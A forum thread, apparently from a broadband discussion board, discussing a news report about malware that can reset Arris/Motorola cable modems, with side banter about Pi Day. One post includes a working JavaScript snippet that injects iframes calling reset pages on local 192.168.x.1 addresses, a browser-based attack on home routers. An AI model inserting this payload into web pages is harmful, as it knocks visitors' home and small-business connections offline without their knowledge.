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HarryH3
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Malware that can reset or reboot Arris/Motorola cable modems

Just ran across this article today: »www.computerworld.com/ar ··· dem.html

While not a huge security hole, a reset could certainly knock your home or small biz offline for a while until the modem gets the right settings from the ISP and gets back online.
85160670 (banned)
"If U know neither the enemy nor yoursel
join:2013-09-17
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THX & ACK ...... HarryH3, the IRONY is HISTORY repeated all the time "Nasty New Worm Targets Home Routers, Cable Modems" long moon ago ....[ »www.pcworld.com/article/ ··· rks.html ]

Chubbzie
join:2014-02-11
Greenville, NC
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(Software) OpenBSD + pf

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This is just a simple javascript iframe call from a browser:
var x;
 
for(x=0;x<255;x++)
 
{document.write("<iframe src='http://192.168." + x + ".1/reset.htm'
 
width='3' height='5'></iframe>");}
 
There are quite a number of variations of these web-based local calls. Many security based plugins help protect against these sort of actions.
85160670 (banned)
"If U know neither the enemy nor yoursel
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3.1415926... How are you going to make this year's Pi Day extra significant on March 14, 2015 at 9:26 AM?

antdude
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said by 85160670:

3.1415926... How are you going to make this year's Pi Day extra significant on March 14, 2015 at 9:26 AM?

You forgot 53:58 after the time. :P

owlyn
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I am surprised that Computerworld allowed this article to be published. Blocking the modem from the router accomplishes very little. If someone can get beyond your router to get to the modem, you have a much, much bigger problem.
85160670 (banned)
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{{{ SMILE }}} ....... NOPE antdude, me think, just enough the daily use time ¿ ¿, but any way U R right to get political correct *_*